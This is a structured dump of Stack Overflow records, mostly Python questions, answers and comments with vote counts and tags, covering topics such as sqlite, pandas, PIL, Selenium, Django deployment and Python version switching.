type: QuestionComment
comment on: http://stackoverflow.com/q/47371269
type: Comment
score: 0

http://stackoverflow.com/a/47567888
answers question: http://stackoverflow.com/q/47295181
has body: Using update-alternatives command. It can help you use python flexibly. Here's the sample code. $ sudo update-alternatives --list python3 update-alternatives: error: no alternatives for python $ sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.4 1 update-alternatives: using /usr/bin/python3.4 to provide /usr/bin/python3 (python3) in auto mode $ sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.5 2 update-alternatives: using /usr/bin/python3.5 to provide /usr/bin/python3 (python3) in auto mode $ sudo update-alternatives --config python3 There are 2 choices for the alternative python3 (providing /usr/bin/python3). Selection Path Priority Status ------------------------------------------------------------ * 0 /usr/bin/python3.5 2 auto mode 1 /usr/bin/python3.4 1 manual mode 2 /usr/bin/python3.5 2 manual mode Press enter to keep the current choice[*], or type selection number:
type: Answer
downvote count: 0
upvote count: 1
score: 1

http://stackoverflow.com/q/47241416
tagged with: visual-studio
has title: Importing Python packages in Visual Studio
answer count: 0
score: 1
downvote count: 0
has body: I am trying to build WPF IronPython Application using Visual-Studio 2017. This is my initial code - most of it automatically generated by Visual Studio (See also figure 1): import wpf from System import Run from System.Windows import Application, Window import pandas class MyWindow(Window): def __init__(self): wpf.LoadComponent(self, 'WpfApplication2.xaml') if __name__ == '__main__': Application().Run(MyWindow()) The problem is with the "import pandas" statement which Visual Studio does not recognize and does not compile. This is despite the fact that Anaconda 5.0.1 is installed and is part of the Python Environments as the figure shows. You can see in figure 2 the "Python Environments" window. The pandas package is recognized and was compiled for InteliSense. Also I added various paths for the "pandas" package location into the search path as you can see in figure 3. I also tried some Voodoo solution I found in various forum of the type of uninstall and then re-install the packages from all kind of places. Yet I can not get the code to compile - the import pandas statement refuses to compile. :-( I am feeling kind of stuck here and would appreciate your assistance.
upvote count: 1
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
tagged with: visual-studio-2015

http://stackoverflow.com/comment/81410587
score: 1
has text: @wwii From the docs "The vectorize function is provided primarily for convenience, not for performance. The implementation is essentially a for loop."
type: Comment
comment on: http://stackoverflow.com/a/47229168
type: AnswerComment

http://stackoverflow.com/comment/81613587
comment on: http://stackoverflow.com/q/47330882
type: Comment
has text: Dear all, I included models.py and admin.py. I formatted my code as cezar suggested.
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81697777
type: AnswerComment
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47348061
has text: This may not be proving what you think it might be, unless you understand all the reasons why "x = 1; y = 0+1; id(x) == id(y)" is True, while "x = 1001; y = 1000+1; id(x) == id(y)" is False.

http://stackoverflow.com/comment/81693828
comment on: http://stackoverflow.com/q/47370442
has text: Good, we're getting somewhere. Post any relevant code you've tried, and we're good to go.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47309990
answers question: http://stackoverflow.com/q/47309852
score: 0
type: Answer
has body: You can iterate over the dictionary and replace the value that you want to remove: s = {'one': 0, 'two': 1, 'three': 2} target = "two" new_s = {a if a != target else None:b for a, b in s.items()} Output: {'one': 0, 'three': 2, None: 1} This way, the count value for "two" is retained, but the key substituted with None
has comment: http://stackoverflow.com/comment/81570671

http://stackoverflow.com/q/47231092
has title: Particle-particle collision in box with periodic boundaries
tagged with: simulation
favorite count: 0
has comment: http://stackoverflow.com/comment/93604514
type: Question
has answer: http://stackoverflow.com/a/47232265
type: UnansweredQuestion
tagged with: physics
tagged with: python
has body: The Task For a class in molecular dynamics, I have to simulate 100 particles in a box with periodic boundaries. I have to take particle-particle collisions into account, since the walls are 'transparent' those interactions can be happen across the boundaries. Since the simulation should cover 50000 steps, and I'm expecting more and more additional tasks in the future, I want my code as efficient as possible (I have to use python, despite the long run time). The Setting The system consists of 100 Particles Box with x = 10, y = 5 Mass = 2 Radius = 0.2 Velocity |v| = 0.5 per step Simulation of 50000 steps What I've done so fare I have found this example for particles in a box with particle-particle collision. Since the author used a efficient implementation, I took his approach. My relevant code parts are (in strong resemblance to the linked site): class particlesInPeriodicBox: # define the particle properties def __init__(self, initialState = [[0,0,0,0]], # state with form [x, y, vx, vy] for each particle boundaries = [0, 10, 0, 5], # box boundaries with form [xmin, xmax, ymin, ymax] in nm radius = 0.2, # particle radius in nm mass = 2): # mass in g/mol. Here a parameter instead of a global variable self.initialState = np.asarray(initialState, dtype=float) self.state = self.initialState.copy() self.radius = radius self.time = 0 # keep count of time, if time, i want to implement a 'clock' self.mass = mass # mass self.boundaries = boundaries def collision(self): """ now, one has to check for collisions. I do this by distance check and will solve this problems below. To minimize the simulation time I then will only consider the particles that colided. """ dist = squareform(pdist(self.state[:, :2])) # direct distance colPart1, colPart2 = np.where(dist &lt; 2 * self.radius) # define collision partners 1 and 2 as those where the distance between the centeres are smaller than two times the radius # resolve self-self collissions unique = (colPart1 &lt; colPart2) colPart1 = co…
has comment: http://stackoverflow.com/comment/93599289
tagged with: performance
upvote count: 2
linked to: http://stackoverflow.com/q/42397870
score: 2
answer count: 1
downvote count: 0
tagged with: collision-detection

http://stackoverflow.com/q/47363499
has comment: http://stackoverflow.com/comment/81680022
tagged with: fetchall
tagged with: sqlite
has title: python sqlite fetchall not returning correct data type
answer count: 1
downvote count: 0
score: 1
upvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47363869
type: UnansweredQuestion
tagged with: python
has body: I am having an issue with having fetchall return being the correct data type. fetchone does work?!?! con = sqlite3.connect('test.db', detect_types=sqlite3.PARSE_DECLTYPES) with con: cur = con.cursor() cur.execute("SELECT df1 FROM PLCValues") rows = cur.fetchall() #print(rows) for row in rows: print (row) print(row) Returns ================= RESTART: C:/Users/zippo/Desktop/Graphit.py ================= (44.64769744873047,) (44.691650390625,) (44.691650390625,) (44.471900939941406,) (44.64769744873047,) FETCHONE con = sqlite3.connect('test.db', detect_types=sqlite3.PARSE_DECLTYPES) with con: cur = con.cursor() cur.execute("SELECT df1 FROM PLCValues") rows = cur.fetchone() #print(rows) for row in rows: print (row) print(row) Returns: ================= RESTART: C:/Users/zippo/Desktop/Graphit.py ================= 44.64769744873047 44.64769744873047

http://stackoverflow.com/q/47245157
score: 0
has title: How to fix too many values to unpack in python when i am trying to send multiple columns from an excel file to function?
accepted answer: http://stackoverflow.com/a/47245195
answer count: 1
tagged with: excel
has body: I am trying to send two columns from columns read from excel file to a google custom search function .I am getting error in the loop: import os print(os.getcwd()) import pandas df = pandas.read_excel('contactibility_sample.xlsx') #print the column names from googleapiclient.discovery import build my_api_key = "" my_cse_id = "" def google_search(search_term, orTerms, api_key, cse_id, **kwargs): service = build("customsearch", "v1", developerKey=api_key) res = service.cse().list(q=search_term, orTerms=college, cx=cse_id, **kwargs).execute() return res['items'] values = df['Contact_name'].values college_name = df['College_name'].values for name,college in values,college_name: results = google_search(name, college, my_api_key, my_cse_id, num=5) for result in results: print result[u'formattedUrl'] Error runfile('C:/Users/abc/untitled14.py', wdir='C:/Users/abc') C:\Users\abc Traceback (most recent call last): File "&lt;ipython-input-37-8f88ce8c799d&gt;", line 1, in &lt;module&gt; runfile('C:/Users/abc/untitled14.py', wdir='C:/Users/abc') File "C:\Users\abc\Anaconda2\lib\site-packages\spyder\utils\site\sitecustomize.py", line 880, in runfile execfile(filename, namespace) File "C:\Users\abc\Anaconda2\lib\site-packages\spyder\utils\site\sitecustomize.py", line 87, in execfile exec(compile(scripttext, filename, 'exec'), glob, loc) File "C:/Users/abc/untitled14.py", line 33, in &lt;module&gt; for name,college in values,college_name: ValueError: too many values to unpack My excel file is: Contact_name Mobile_number College_name loan_id Age Subham Biswas 9169999996 R.A.I.T 87867 23 Ketaki Joshi 9898989821 IBS 65432 24 Prashant Roy 9090909090 VIT 22342 28 Roshni singh 9191919191 IBS 23331 24
type: Question
tagged with: python
has answer: http://stackoverflow.com/a/47245195
type: AnsweredQuestion
tagged with: google-custom-search

http://stackoverflow.com/comment/81590396
type: AnswerComment
comment on: http://stackoverflow.com/a/47319511
has text: Thanks! It looks like the behaviour is consistent if I override `setUp`. Doesn't feel super clean but I suppose nondeterminism in unit tests isn't generally encouraged?
type: Comment
score: 0

http://stackoverflow.com/comment/81506059
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47277515
score: 2
has text: you already give the answer in your own question... so why do you ask?

tree
tags question: http://stackoverflow.com/q/47301472
tags question: http://stackoverflow.com/q/47265645
tags question: http://stackoverflow.com/q/47378149
type: Tag
tag name: tree
tags question: http://stackoverflow.com/q/47347682

http://stackoverflow.com/comment/81478666
score: 0
type: Comment
type: QuestionComment
has text: is it ok if lines with `1498` will go first?
comment on: http://stackoverflow.com/q/47263749

http://stackoverflow.com/comment/81431296
comment on: http://stackoverflow.com/q/47240509
type: Comment
score: 0
has text: what is `word_tokenize` ? and also `tweet` is a `list` , for accessing list items you should reference them with indices ( as error says)
type: QuestionComment

http://stackoverflow.com/a/47253577
answers question: http://stackoverflow.com/q/47253524
type: Answer
has comment: http://stackoverflow.com/comment/81457537
has body: Try this: l = [{'TELEPHONE': '111', 'STATUS': 'BUSY'}, {'TELEPHONE': '122', 'STATUS': 'BUSY'}, {'TELEPHONE': '133', 'STATUS': 'FREE'}] print("".join(["{} is {}".format( i['TELEPHONE'], i['status']) for i in l]))
score: 0

http://stackoverflow.com/q/47342991
type: Question
accepted answer: http://stackoverflow.com/a/47861675
answer count: 2
has answer: http://stackoverflow.com/a/47861675
has body: I use [pip install lightgbm] and success, but couldn't import lightgbm. my python version is Python 3.5.4 |Anaconda 4.0.0 (64-bit)|. Can anyone point me to a possible solution? Thanks for your help. Traceback (most recent call last): File "&lt;ipython-input-1-bd597743fb90&gt;", line 1, in &lt;module&gt; import lightgbm File "D:\Anaconda3\lib\site-packages\lightgbm\__init__.py", line 8, in &lt;module&gt; from .basic import Booster, Dataset File "D:\Anaconda3\lib\site-packages\lightgbm\basic.py", line 32, in &lt;module&gt; _LIB = _load_lib() File "D:\Anaconda3\lib\site-packages\lightgbm\basic.py", line 27, in _load_lib lib = ctypes.cdll.LoadLibrary(lib_path[0]) File "D:\Anaconda3\lib\ctypes\__init__.py", line 429, in LoadLibrary return self._dlltype(name) File "D:\Anaconda3\lib\ctypes\__init__.py", line 351, in __init__ self._handle = _dlopen(self._name, mode) OSError: [WinError 126] 找不到指定的模块。[couln't find the module]
downvote count: 0
upvote count: 1
tagged with: python
possible better answer: http://stackoverflow.com/a/49896319
favorite count: 0
has title: WinError 126 while import lightgbm in python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49896319
tagged with: lightgbm
score: 1

http://stackoverflow.com/comment/81446521
has text: Oh, my bad. I didn't notice you were using Python 2. I had only tested it in Python 3.6. So I cannot say if the second solution will work for a version below 3. The first solution shouldn't be version specific.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47247783
type: AnswerComment

http://stackoverflow.com/comment/81589144
type: Comment
comment on: http://stackoverflow.com/a/47318830
score: 0
type: AnswerComment
has text: No, I don't think "from_tensors" will call myfunc multiple times. If you'd like to create a dataset from a generator function, you can call Dataset.from_generator.

http://stackoverflow.com/q/47375822
answer count: 1
has answer: http://stackoverflow.com/a/47376548
tagged with: django
has title: How to deploy django with media files?
tagged with: django-media
has comment: http://stackoverflow.com/comment/81704460
tagged with: heroku
has comment: http://stackoverflow.com/comment/81704522
tagged with: postgresql
score: 0
has comment: http://stackoverflow.com/comment/81704993
tagged with: python
has body: I am trying to find a simple solution to deploy a django rest api which uses media files which are added via the admin panel. The rest api will be receiving very low traffic and so the simplest cheapest option is preferable. Currently, I am using heroku, however when I add media files through the admin panel and come back to it later the files are no longer there. Here is my settings.py: import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.11/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = '****' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ['example.herokuapp.com'] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'clothing', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': [ 'rest_framework.permissions.IsAdminUser', ], 'DEFAULT_THROTTLE_CLASSES': ( 'rest_framework.throttling.AnonRateThrottle', 'rest_framework.throttling.UserRateThrottle' ), 'DEFAULT_THROTTLE_RATES': { 'anon': '400/day', 'user': '500/day' } } ROOT_URLCONF = 'good_deal.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.contex…
type: Question
has comment: http://stackoverflow.com/comment/81704610
type: UnansweredQuestion

http://stackoverflow.com/a/48472766
upvote count: 0
answers question: http://stackoverflow.com/q/47292171
downvote count: 1
has body: I think you should change your python environment of the VS 2017 to python 3.5 or 3.6 for 64-bit or something like that (python 3 instead of python 2 in general).
type: Answer
score: -1

http://stackoverflow.com/comment/81689787
comment on: http://stackoverflow.com/a/47368237
type: AnswerComment
score: 0
type: Comment
has text: Saying that "multiplication always happens first" is not really in the docs, it's from the definition of the notation. See the Wikipedia page for more info (https://en.wikipedia.org/wiki/Einstein_notation#Statement_of_convention), and my edits for more details on the how the docs explain the idea of output subscripts.

http://stackoverflow.com/q/47229309
has body: When it comes to generating XML data in Python, there are two libraries I often see recommended: lxml and ElementTree From what I can tell, the two libraries are very similar to each other. They both seem to have similar module names, usage guidelines, and functionality. Even the import statements are fairly similar. # Importing lxml and ElementTree import lxml.etree import xml.etree.ElementTree What are the differences between the lxml and ElementTree libraries for Python?
has title: What are the differences between lxml and ElementTree?
upvote count: 70
tagged with: python
has comment: http://stackoverflow.com/comment/91410707
type: AnsweredQuestion
score: 69
answer count: 3
tagged with: lxml
downvote count: 1
has answer: http://stackoverflow.com/a/50416216
tagged with: elementtree
accepted answer: http://stackoverflow.com/a/50416216
possible better answer: http://stackoverflow.com/a/49614554
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81409228
has answer: http://stackoverflow.com/a/79441768
has answer: http://stackoverflow.com/a/49614554
linked to: http://stackoverflow.com/q/3844360

http://stackoverflow.com/comment/81655659
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47349561
has text: Could you explain a bit please? As you can see, I don't have a lot of knowledge about that. So the Probability Integral Transformation is the same as the inverse of cdf / Gaussian Copula? Because the result of your link is to transform it into uniform distribution, but I want normal distribution :) What are the dependencies? Thank you :)
type: QuestionComment

http://stackoverflow.com/q/47258648
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81468102
has comment: http://stackoverflow.com/comment/81467956
has answer: http://stackoverflow.com/a/47259306
score: 0
has comment: http://stackoverflow.com/comment/81468039
has comment: http://stackoverflow.com/comment/81468166
answer count: 1
tagged with: histogram
has comment: http://stackoverflow.com/comment/81468201
downvote count: 1
has title: Grouping the list elements into user defined intervals
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81467931
has comment: http://stackoverflow.com/comment/81468208
has comment: http://stackoverflow.com/comment/81468270
has comment: http://stackoverflow.com/comment/81468409
has comment: http://stackoverflow.com/comment/81468878
has body: def interval(): data = [1, 2, 12, 13, 22, 23, 32, 33, 42, 43, 52, 53, 62, 63, 72, 73, 82, 83, 92, 93] minimum = raw_input("Enter the min value") maximum = raw_input("Enter the max value") frequency = raw_input("Enter the Freq") x = [] x.append(float(minimum)) thesum = float(minimum) for i in range(0, int(maximum)): if thesum &lt; float(maximum): thesum = thesum + float(frequency) x.append(thesum) print x if __name__ == '__main__': interval() **Assume the user enters the min, max and freq to be 0,100,20 respectively. So, the intervals are 0-20, 20-40,40-60,60-80,80-100 and my output should be The values in 0-20 are [1,2,12,13] The values in 20-40 are [22,23,32,33] .. and so on! ** If there are no values in a particular interval, the output should be list with no values
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81468143

http://stackoverflow.com/comment/81419104
comment on: http://stackoverflow.com/q/47233839
score: 2
has text: There may be a translation issue, but I think you're saying that for a given graph, the average indegree and the average outdegree are the same. Why does that surprise you?
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47240853
upvote count: 5
has comment: http://stackoverflow.com/comment/81435391
type: Answer
has body: Using itertools.combinations: I initially thought of using something with itertools.combination, but as this allows elements from a list which are not next to each other, it wasn't going to work for the solution I had in mind. Turns out that when looking at non-numerical input lists, itertools.combinations is necessary in both cases. I had been confused because I assumed the groups had to be adjacent. The way I thought would work best for this would be to generate the possible elements that could work and then check each one of these with a function against the list of sub-lists - as opposed to doing some kind of combinatoric work on the list and going down that path. So to check if a list of possible elements is 'valid' i.e. if all the elements only occur together, I used a simple if with a generator with the all() and any() built-in functions to do this part of the job. Now this was working, there needed to be a way of generating the potential elements that could occur. I just did this with two nested for-loops - one iterating over the width of the window, and one iterating over where the start of the window is. Then from here, we just check if that set of elements is valid and add it to another list if it is! import itertools def valid(p): for s in l: if any(e in s for e in p) and not all(e in s for e in p): return False return True l = [[1,2,3],[6,5,4,3,7,2],[4,3,2,9],[6,7],[5,1,0],[6,3,2,7]] els = list(set(b for a in l for b in a)) sol = [] for w in range(2,len(els)+1): for c in itertools.combinations(els, w): if valid(c): sol.append(c) which gives sol as: [(2, 3), (6, 7)]] These 2 nested for-loops can actually be thrown together into a nice one-liner (not sure if others think it is Pythonic): sol = [c for w in range(2, len(els)+1) for c in itertools.combinations(els, w) if valid(c)] which works just the same but is simply shorter. Due to popular demand (@Arman), I have updated the answer so that it should now work for other elements apart from 0-9. This was do…
has comment: http://stackoverflow.com/comment/81435941
has comment: http://stackoverflow.com/comment/81435308
answers question: http://stackoverflow.com/q/47240552
has comment: http://stackoverflow.com/comment/81435571
has comment: http://stackoverflow.com/comment/81436221
score: 5
has comment: http://stackoverflow.com/comment/81435373
has comment: http://stackoverflow.com/comment/81436265
has comment: http://stackoverflow.com/comment/81435275
downvote count: 0
has comment: http://stackoverflow.com/comment/81436322
has comment: http://stackoverflow.com/comment/81435288
has comment: http://stackoverflow.com/comment/81436114

http://stackoverflow.com/comment/81625430
comment on: http://stackoverflow.com/a/47336708
type: AnswerComment
score: 0
has text: Not removing the the `[]` and setting `json.loads(r.content)` gives me `TypeError: the JSON object must be str, not 'bytes'`
type: Comment

http://stackoverflow.com/comment/81682125
type: QuestionComment
type: Comment
has text: @ClémentDenoix oh you are right..what should be the base class so?
score: 0
comment on: http://stackoverflow.com/q/47364165

http://stackoverflow.com/comment/81404994
has text: Now it works with the original code. It appears that restarting the session to the remote host solved the issue.
comment on: http://stackoverflow.com/q/47226895
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47332995
upvote count: 1
score: 1
answer count: 1
has body: Any idea how I can fill in some fields on the product page when I quick create this from a Sales Order. These fields are based on the Sales Order (name and customer). Do I need to pass them with context? Thanks
favorite count: 0
type: Question
has title: Odoo auto-fill fields when created from other form
tagged with: field
type: UnansweredQuestion
tagged with: odoo
tagged with: odoo-8
tagged with: python
has comment: http://stackoverflow.com/comment/81638746
has answer: http://stackoverflow.com/a/47347351
downvote count: 0

http://stackoverflow.com/comment/81429336
has text: Ive followed these instructions: https://stackoverflow.com/questions/35254852/how-to-change-jupyter-start-folder but still it does not work
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47238052
type: AnswerComment

http://stackoverflow.com/q/47241035
upvote count: 2
possible better answer: http://stackoverflow.com/a/47241907
has comment: http://stackoverflow.com/comment/81432442
downvote count: 0
accepted answer: http://stackoverflow.com/a/47242653
favorite count: 0
has comment: http://stackoverflow.com/comment/81432540
type: Question
has answer: http://stackoverflow.com/a/47242653
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81432654
has body: I have just made a simple python program. I want to execute it with python 3.6.3 which I installed today. There are also available python 2.7 and 3.5 by default, their path /usr/bin/ The code looks like this: #! /usr/local/bin/python3.6 name = input("Enter your name: ") age = int(input("Enter your age: ")) print("Your name is " + name + " and your age is " + str(age) + ".") print(input("Press any key to close the program: ")) After this I opened terminal, navigated to the folder where I saved the file. /home/neba/PYTHON_PROJECTS and made the script executable: chmod u+x nina.py When I tried to execute the nina.py nothing happens. I have even tried to execute it with python 3.5 and 2.7 but then an error occurred. I took the screen-shot of the error.
has answer: http://stackoverflow.com/a/47241907
tagged with: python
linked to: http://stackoverflow.com/q/13933169
score: 2
has comment: http://stackoverflow.com/comment/81433289
answer count: 2
has title: Python script won't execute after double click, nothing happens?

http://stackoverflow.com/comment/81565546
type: Comment
type: QuestionComment
has text: What version of pytest is it? `import pytest ; print(pytest.__version__)`
score: 0
comment on: http://stackoverflow.com/q/47294521

http://stackoverflow.com/q/47223764
has comment: http://stackoverflow.com/comment/81401187
has title: Python 3 - Class variable is not defined
tagged with: python
score: 11
upvote count: 11
has body: Here I'm not able to access the class variable inside a Python's list comprehension. class Student: max_year = 18 year_choice = [i for i in range(100) if i &gt; max_year] def __init__(self, name): self.name = name print (self.year_choice) Student('Blah') But it's working fine in Python 2. ../workspace$ python student.py [19, 20, 21, 22, 2.... 99] But getting an error in Python 3. ../workspace$ python student.py File "student.py", line 18, in &lt;listcomp&gt; year_choice = [i for i in range(100) if i &gt; max_year] NameError: name 'max_year' is not defined from debugging this When I changed below statement [i for i in range(100) if i &gt; max_year] to this [i for i in range(max_year)] # don't look too much into it ;) working fine. Why I'm not able to access class variable inside if/else list comprehension?
linked to: http://stackoverflow.com/q/13905741
tagged with: scope
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47224266
duplicate of: http://stackoverflow.com/q/13905741
has comment: http://stackoverflow.com/comment/81399068
has comment: http://stackoverflow.com/comment/81398757
answer count: 1
has comment: http://stackoverflow.com/comment/81400298
downvote count: 0
has comment: http://stackoverflow.com/comment/81401351
favorite count: 0
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/47224266

http://stackoverflow.com/q/47382482
type: Question
tagged with: attributeerror
tagged with: python-imaging-library
score: 1
has body: I'm trying to invert the pixels of an RGB image. That is, simply subtracting the intensity value of each channel (red, green, blue) of each pixel from 255. I have the following so far: from PIL import Image im = Image.open('xyz.png') rgb_im = im.convert('RGB') width, height = im.size output_im = Image.new('RGB', (width,height)) for w in range(width): for h in range(height): r,g,b = rgb_im.getpixel((w,h)) output_r = 255 - r output_g = 255 - g output_b = 255 - b output_im[w,h] = (output_r, output_g, output_b) When I run the above script, I get the following error: Traceback (most recent call last): File "image_inverse.py", line 31, in &lt;module&gt; output_im[w,h] = (output_r, output_g, output_b) File "/usr/lib/python2.7/dist-packages/PIL/Image.py", line 528, in __getattr__ raise AttributeError(name) AttributeError: __setitem__ How can I solve this issue? Thanks.
tagged with: python
tagged with: image-processing
has answer: http://stackoverflow.com/a/47386428
answer count: 3
has answer: http://stackoverflow.com/a/47382521
type: UnansweredQuestion
has title: Inverting pixels of an RGB image in Python
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/70550667
favorite count: 0

http://stackoverflow.com/q/47379353
has body: I have a problem with a function that's telling me it can't convert to float. I took this function from an operation above and I called it func0: func0 = -2.59132902231451 * j ** 1.0 - 2.36920574650032 * j ** 2.0 + 0.809974823421635 * j ** 3.0 + 4.22334771487835 I want to solve a non-linear system using optimize: def sol(g): kt1, j = g return (kt1 - func0, kt1 - T * j ** 2 / (1.025 * D ** 2 * VA ** 2)) kt1, j = optimize.fsolve(equations, (0.01, 0.9)) The error: Result from function call is not a proper array of floats. The weird thing is, if I take the whole formula, it works. But with func0 it's not working. How can I fix this problem?
tagged with: numpy
type: Question
tagged with: python
answer count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47379631
has comment: http://stackoverflow.com/comment/81710872
has title: How to make a function work with optimize in numpy?
score: 0
has comment: http://stackoverflow.com/comment/81711069

http://stackoverflow.com/q/47344431
tagged with: python
has answer: http://stackoverflow.com/a/47344682
has comment: http://stackoverflow.com/comment/81640960
type: AnsweredQuestion
tagged with: radio-button
score: 1
has comment: http://stackoverflow.com/comment/81640854
has title: How to click Radio Button using python Selenium
tagged with: selenium
has body: I am trying to Click the Radio Button "Monthly (Final)" in the left side tab. Please find the link https://socds.huduser.gov/permits/index.html? Here is the Code which i tried, from selenium import webdriver import time chrome_path = r"/usr/bin/chromedriver" driver = webdriver.Chrome(chrome_path) driver.get("https://www.huduser.gov/portal/datasets/socds.html") # Hitting the Site driver.maximize_window() driver.find_element_by_xpath("""//*[@id="block-system-main"]/div[4]/div/div/div/div/form[5]/input""").click() #Clicking Buiding Permits Database time.sleep(10) ### Not working ### print driver.find_element_by_xpath("""/html/body/form/a[2]/input""").location # Getting the Location of the Element Radio = driver.find_element_by_xpath("""/html/body/form/a[2]/input""") # Clicking Monthly Final Radio button Radio.click() driver.find_element_by_css_selector("body &gt; form:nth-child(2) &gt; a:nth-child(29) &gt; input:nth-child(1)").click() print "DONE"
downvote count: 1
has comment: http://stackoverflow.com/comment/81640788
favorite count: 0
type: Question
upvote count: 2
accepted answer: http://stackoverflow.com/a/47344682
answer count: 1

http://stackoverflow.com/a/47380919
has comment: http://stackoverflow.com/comment/81714827
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/47380813
upvote count: 1
answers question: http://stackoverflow.com/q/47380813
has comment: http://stackoverflow.com/comment/81715160
has body: This should be faster than your method . You can add .fillna('') at the end df['group']=df.id.str[:2].map(meta.set_index('id-prefix')['group']) df Out[415]: name id age group 0 Abe AA01 40 Alpha Apples 1 Bill AA02 42 Alpha Apples 2 Carly BB01 43 Beta Bananas 3 Debbie BB02 44 Beta Bananas 4 Edward 45 NaN
score: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81715258

http://stackoverflow.com/a/47277008
upvote count: 1
score: 1
accepted answer of: http://stackoverflow.com/q/47276966
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47276966
type: Answer
has body: You don't need to define the serializer_class attribute since you already overriding the get_serializer_class method. Remove the line 59. From http://www.django-rest-framework.org/api-guide/generic-views/#attributes serializer_class - The serializer class that should be used for validating and deserializing input, and for serializing output. Typically, you must either set this attribute, or override the get_serializer_class() method.

http://stackoverflow.com/a/47315193
type: Answer
score: 0
has body: If you want to add custom headers just pass them as a second parameter to the DictWriter (in your case fieldnames equals to row.keys()). Here is an example: import csv data = [] for i in range(10): data.append({'Date': '10-15-2017', 'LATITUDE': i+30}) with open('csv_with_headers.csv', 'wb') as outcsv: writer = csv.DictWriter(outcsv, fieldnames = ["Date", "LATITUDE"]) writer.writeheader() writer.writerows(data) Output: cat csv_with_headers.csv Date,LATITUDE 10-15-2017,30 10-15-2017,31 10-15-2017,32 10-15-2017,33 10-15-2017,34 10-15-2017,35 10-15-2017,36 10-15-2017,37 10-15-2017,38 10-15-2017,39
answers question: http://stackoverflow.com/q/47314902

http://stackoverflow.com/a/47244630
has comment: http://stackoverflow.com/comment/81439657
has body: It seems to me that maybe you do not have everything installed. Maybe check this path: /usr/lib/python/dist-packages/selenium And make sure all the classes are in there somewhere. If not, try uninstalling (assuming you are using pip): $ sudo pip uninstall selenium And then reinstall. $ sudo pip install selenium Now try again. from selenium.webdriver.chrome.options import Options If that does not work, check the documentation. https://pypi.python.org/pypi/selenium
has comment: http://stackoverflow.com/comment/81440696
has comment: http://stackoverflow.com/comment/81439693
has comment: http://stackoverflow.com/comment/81439738
has comment: http://stackoverflow.com/comment/81440707
downvote count: 0
has comment: http://stackoverflow.com/comment/81452841
has comment: http://stackoverflow.com/comment/81442585
score: 3
answers question: http://stackoverflow.com/q/47244539
has comment: http://stackoverflow.com/comment/81442656
upvote count: 3
type: Answer
has comment: http://stackoverflow.com/comment/81442488
has comment: http://stackoverflow.com/comment/81440919

http://stackoverflow.com/comment/81666757
type: AnswerComment
has text: I made an edit with a guess as to which lambda was broken -- Unfortunately to be sure I'll need more information.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/47342572

aws-cloudformation
tag name: aws-cloudformation
type: Tag
tags question: http://stackoverflow.com/q/47320501

http://stackoverflow.com/q/47332121
type: Question
has comment: http://stackoverflow.com/comment/81629011
accepted answer: http://stackoverflow.com/a/47334101
has comment: http://stackoverflow.com/comment/81619376
has comment: http://stackoverflow.com/comment/81615229
upvote count: 2
has comment: http://stackoverflow.com/comment/81618571
has comment: http://stackoverflow.com/comment/81618538
tagged with: python
has comment: http://stackoverflow.com/comment/81615718
has answer: http://stackoverflow.com/a/47339478
possible better answer: http://stackoverflow.com/a/47339478
has comment: http://stackoverflow.com/comment/81627580
has comment: http://stackoverflow.com/comment/81628305
has answer: http://stackoverflow.com/a/47334101
type: AnsweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/81627626
answer count: 3
has comment: http://stackoverflow.com/comment/81618823
tagged with: pandas
has comment: http://stackoverflow.com/comment/81618299
has comment: http://stackoverflow.com/comment/81622603
downvote count: 2
has comment: http://stackoverflow.com/comment/81618434
has title: Trying to merge into a dataframe but it keeps creating new columns
has comment: http://stackoverflow.com/comment/81622638
has answer: http://stackoverflow.com/a/47334428
